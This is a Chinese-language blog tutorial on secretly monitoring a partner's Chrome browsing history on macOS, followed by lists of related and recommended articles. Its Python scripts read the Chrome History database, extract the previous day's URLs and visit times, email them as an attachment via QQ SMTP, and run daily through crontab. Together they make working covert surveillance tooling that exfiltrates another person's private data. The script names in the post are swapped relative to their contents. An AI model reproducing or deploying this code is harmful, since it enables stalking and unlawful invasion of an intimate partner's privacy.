阅读文本大概需要 5 分钟。

需求:

(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)

(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

背景:

(1)mac下chrome的浏览记录在哪?怎么获取网址(url)和访问时间?

答:路径:/Users/用户名/Library/Application\ Support/Google/Chrome/Default/History

History:是一个SQLite数据库,其实就是一个文件,可以用DB Browser for SQLite

去查看所有的信息,我们要的信息在urls表中

怎么获取:用python内置的sqlite3库连接History,通过sql得到我们想要的信息

(2)怎么发送一个带附件的邮件?

答:使用python内置的email和smtplib两个模块去构造和发送邮件

(3)怎么把这些过程自动化?

答:使用shell脚本将这些过程连接起来,然后使用crontab命令定时运行

准备

macOS Sierra

Python3.6

Chrome

发送邮件的qq邮箱地址

qq邮箱授权码

SMTP服务器地址 : smtp.qq.com

接受邮件的邮箱地址

执行:

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

(2) get_history.py:

  1. # -*- coding: utf-8 -*-
  2. from email import encoders
  3. from email.header import Header
  4. from email.mime.text import MIMEText
  5. from email.mime.multipart import MIMEMultipart
  6. from email.mime.base import MIMEBase
  7. from email.utils import parseaddr, formataddr
  8. import smtplib
  9. import argparse
  10.  
  11. # 1.文件执行的需要的参数(result.txt)
  12. parser = argparse.ArgumentParser()
  13. parser.add_argument('affix_file',help='the path of the affix')
  14. args = parser.parse_args()
  15.  
  16. # 2.格式化一个邮件地址和邮件信息
  17. def _format_addr(s):
  18. name, addr = parseaddr(s)
  19. return formataddr((Header(name, 'utf-8').encode(), addr))
  20.  
  21. #连接服务器(这里大家好改成自己的!)
  22. from_addr = "771568102@qq.com" #发件人邮箱
  23. password = "xxxxxxxx" #发件人邮箱授权码
  24. to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
  25. smtp_server = "smtp.qq.com" #SMTP服务器地址
  26.  
  27. #邮件发件人名字、收件人名字、主题
  28. msg = MIMEMultipart()
  29. msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
  30. msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
  31. msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()
  32.  
  33. # 邮件正文是MIMEText:
  34. msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))
  35.  
  36. # 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:
  37. with open(args.affix_file, 'r') as f:
  38. # 设置附件的MIME和文件名,这里是py类型:
  39. mime = MIMEBase('result', 'txt', filename='result.txt')
  40. # 加上必要的头信息:
  41. mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
  42. mime.add_header('Content-ID', '<0>')
  43. mime.add_header('X-Attachment-Id', '0')
  44. # 把附件的内容读进来:
  45. mime.set_payload(f.read())
  46. # 用Base64编码:
  47. encoders.encode_base64(mime)
  48. # 添加到MIMEMultipart:
  49. msg.attach(mime)
  50.  
  51. #3.通过SMTP发送出去
  52. server = smtplib.SMTP(smtp_server, 25)
  53. server.set_debuglevel(1)
  54. server.login(from_addr, password)
  55. server.sendmail(from_addr, [to_addr], msg.as_string())
  56. server.quit()

通过这个脚本,我们可以把url和访问时间提取出来,并且存储在 result.txt中,下图就是我得到的部分结果

(3) send_email.py:

  1. # -*- coding: utf-8 -*-
  2. import sqlite3
  3.  
  4. #大家要改成自己的路径
  5. history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'
  6.  
  7. # 1.连接history_db
  8. c = sqlite3.connect(history_db)
  9. cursor = c.cursor()
  10.  
  11. # 2.选取我们想要的网址和访问时间
  12. try:
  13. select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
  14. cursor.execute(select_statement)
  15. except sqlite3.OperationalError:
  16. print("[!] The database is locked! Please exit Chrome and run the script again.")
  17. quit()
  18.  
  19. # 3.将网址和访问时间存入result.txt文件
  20. results = cursor.fetchall()
  21. with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径
  22. for i in range(len(results)):
  23. f.write(results[i][1]+'\n')
  24. f.write(results[i][0]+'\n')

通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地 址,下图是我得到的部分结果

(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚 本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。

  1. cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
  2. python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
  3. python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了

注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径

(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱

使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了

  1. 20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。

重要的事再说一遍,一定要写绝对路径!!!

问题:

1.server.login(from_addr, password)函数中的password不是邮箱密码,在qq邮箱中,指的是授权码

答:qq邮箱授权码:什么是授权码,它又是如何设置?_QQ邮箱帮助中心

2.访问History数据库时,显示The database is locked!

答:在我们打开浏览器的同时去访问History时,就会出现这种情况,有两种解决办法:

(1)关闭浏览器,再去访问

(2)把History拷贝到其他文件夹中,然后访问该文件夹下的History

3.timestamp时间戳怎么转换的

答:last_visit_time是微秒,所以要除以10^6;

last_visit_time的起始值是1601年1月1日0时0分0秒,所以要减去11644473600;

筛选昨天的数据:现在的日期与last_visit_time的差值小于1的数据,就是距离当前时

间小于1天的数据

4.crontab出错

答:crontab中所有路径都要写绝对路径,包括py脚本中的路径也要写绝对路径!

5. 路径 问题

答:大家在复现的时候,要注意把 路径 改成自己电脑上的,还有那个邮箱相关的信息也要改成自己的。

总结:

1.运用python连接SQLite数据库,并执行sql操作

2.运用python发送邮件

3.运用shell和crontab建立自动化例行任务

4.看别人隐私是不对的,这篇文章只是我自己瞎玩的,实际可行性不强

展望:

1.把这些打包成一个可执行文件,双击之后可以直接部署,并且可以跨平台

2.目前这个脚本,只有在电脑是打开并且联网的时候,才能自动执行,所以并不能理想地监控别人的浏览记录哦!

用 Python监控了另一半的每天都在看的网站,我发现了一个秘密的更多相关文章

  1. Python监控你的女朋友/男朋友每天都在看哪些网站

    需求: 很多人学习python,不知道从何学起.很多人学习python,掌握了基本语法过后,不知道在哪里寻找案例上手.很多已经做案例的人,却不知道如何去学习更加高深的知识.那么针对这三类人,我给大家提 ...

  2. Python监控网站接口值

    Python监控网站接口值: #!/usr/bin/env python # -*- coding: utf-8 -*- __author__ = 'liudong' import urllib,sy ...

  3. Python 监控nginx服务是否正常

    Python 监控nginx服务是否正常 #!/usr/bin/env python import os, sys, time from time import strftime while True ...

  4. python监控端口脚本[jkport2.0.py]

    #!/usr/bin/env python #!coding=utf-8 import os import time import sys import smtplib from email.mime ...

  5. Python监控文件变化:watchdog

    Python监控文件变化有两种库:pyinotify和watchdog.pyinotify依赖于Linux平台的inotify,后者则对不同平台的的事件都进行了封装.也就是说,watchdog跨平台. ...

  6. python os.startfile python实现双击运行程序 python监控windows程序 监控进程不在时重新启动

    用python监控您的window服务 原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://world77.blog.51cto.co ...

  7. 用python监控您的window服务

    原创作品,允许转载,转载时请务必以超链接形式标明文章 原始出处 .作者信息和本声明.否则将追究法律责任.http://world77.blog.51cto.com/414605/782935 最近比较 ...

  8. python监控tomcat日记文件

    最近写了一个用python监控tomcat日记文件的功能 实现的功能: 监控日记文件中实时过来的记录,统计每分钟各个接口调用次数,统计结果插入oracle #!/usr/bin/python # -* ...

  9. Python 监控脚本

    Python 监控脚本 整体通过psutil模块动态获取资源信息.下为示例图: #!/usr/bin/env python # -*- coding: utf-8 -*- # @Time: 2019- ...

随机推荐

  1. 深入理解 Python 中的装饰器

    装饰器本质上也是函数,接收函数对象来作为参数,并在装饰器的内部来调用接受的函数对象完成相关的函数调用,也可以这样理解   ,为了方便在几个不同函数调用之前或者完成相关的统一操作,注意是完成统一的操作, ...

  2. C. Maximum Median 二分

    C. Maximum Median 题意: 给定一个数组,可每次可以选择一个数加1,共执行k次,问执行k次操作之后这个数组的中位数最大是多少? 题解:首先对n个数进行排序,我们只对大于中位数a[n/2 ...

  3. 线程context

    线程切换的时候,要保存当前运行状态,以便后续切换回来 CONTEXT结构体保存的是一堆寄存器 两个函数 //You cannot get a valid context for a running t ...

  4. 如何借助 Python 俘获女孩子芳心?

    责编 | 刘静 天气降温,感情却升温了? 上午刚到公司,就收到小Q发来的灵魂拷问: ​ ​ “Q仔!要不然下午请个假!我带你去精神科看看!?”我实在忍不了,脱口而出. 话音未落,前排的运营小花回头看向 ...

  5. php 打印格式化显示利器 <pre>

    当我们PHP调试的时候,用var_dump 或 print_r打印json数据或array数组时,html页面没有换行显示,看到的内容一大堆,不好定位. 输出前添加 <pre>,便可以自动 ...

  6. Vue.js模板语法介绍

    Vue.js模板.指令 模板语法概述 1.如何理解前端渲染? ​ 把数据填充到HTML标签中,一般我们使用Ajax将数据从后台查询出,结合模板() 2.前端渲染方式 2.1.原生js拼接字符串 ​ 使 ...

  7. java环境变量修改后不生效

    修改java环境变量后,cmd查看java版本,还是之前的版本,需要做以下处理: 1. 删除C:\Windows\System32目录下的相关的java.exe.javaw.exe.javaws.ex ...

  8. LeetCode347:返回频率前K高的元素,基于优先队列实现

    package com.lt.datastructure.MaxHeap; import java.util.LinkedList; import java.util.List; import jav ...

  9. thinkphp的增删改查命令 - (mysql-thinkphp) (4)

    方法1,在namespace下面加2行 use think\Controller; use think\Db; 1.查询所有结果 $res = Db::query("select * fro ...

  10. MongoDB安装+基础操作

    MongoDB 一. 安装 这里展示使用docker安装mongoDB 拉取最新MongoDB镜像 docker pull mongo 运行容器 docker run -itd --name mong ...